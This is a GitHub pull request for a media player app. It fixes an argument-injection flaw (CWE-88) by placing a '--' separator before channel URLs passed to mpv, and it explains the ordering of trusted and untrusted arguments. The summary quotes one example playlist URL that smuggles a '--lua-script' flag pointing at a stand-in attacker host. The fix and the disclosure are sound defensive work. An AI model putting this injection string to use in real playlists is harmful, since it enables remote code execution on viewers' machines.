Skip to content

fix(mpv): prevent argument injection via -- separator (CWE-88) - #438

Open
louzt wants to merge 1 commit into
Fredolx:mainfrom
louzt:sec/mpv-arg-injection
Open

louzt wants to merge 1 commit into
Fredolx:mainfrom
louzt:sec/mpv-arg-injection

Conversation

@louzt

@louzt louzt commented Jun 15, 2026

Copy link
Copy Markdown

Summary

Prevents RCE by forcing URLs to be treated as positional arguments with the POSIX -- separator. Without --, a malicious M3U URL like https://evil.com --lua-script=http://evil.sh would be parsed as an mpv flag.

What Changed

  • src-tauri/src/mpv.rs:152 — added -- separator before channel URL in mpv args

Why

Reported as #424 — CWE-88 (Argument Injection). Zero-click exploit reachable through a malicious M3U playlist.

Compatibility Note

No breaking changes. The -- separator is standard POSIX.

Validation

cargo check passes.

@louzt
louzt force-pushed the sec/mpv-arg-injection branch from 102505f to 87b0483 Compare June 15, 2026 09:14
@louzt
louzt force-pushed the sec/mpv-arg-injection branch from 87b0483 to 41974ee Compare June 15, 2026 09:21
@louzt

louzt commented Jun 15, 2026

Copy link
Copy Markdown
Author

Marking this as ready for review. The branch has been force-pushed with the definitive architectural fix for the CWE-88 (Argument Injection) vulnerability reported in #424.

Technical Analysis of the Fix:

The execution vector has been explicitly reordered within src-tauri/src/mpv.rs to split the argument parsing matrix into two strict, isolated sections using the POSIX -- delimiter:

  1. Pre--- Vector (Trusted Context): All legitimate flags derived from the user's authenticated local configuration (such as hardware decoding switches, custom parameters, volume levels, and HTTP caching settings) are pushed first. mpv evaluates these normally during context initialization.
  2. Post--- Vector (Untrusted Context): The positional stream markers—including the core channel.url and any dynamic sequence loops coming from find_all_episodes_after—are appended strictly after the -- separator.
flowchart LR
    subgraph Stream ["Command Ingestion Lane"]
        direction LR
        A["mpv binary"] --> B["Legitimate Flags<br/>(HWDEC, Volume, etc.)"]
        B --> C{"POSIX Token<br/>'--'"}
        C -->|Disables Option Parsing| D["Untrusted Strings<br/>(Malicious M3U URL)"]
    end
Loading

@louzt
louzt marked this pull request as ready for review June 15, 2026 09:23
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant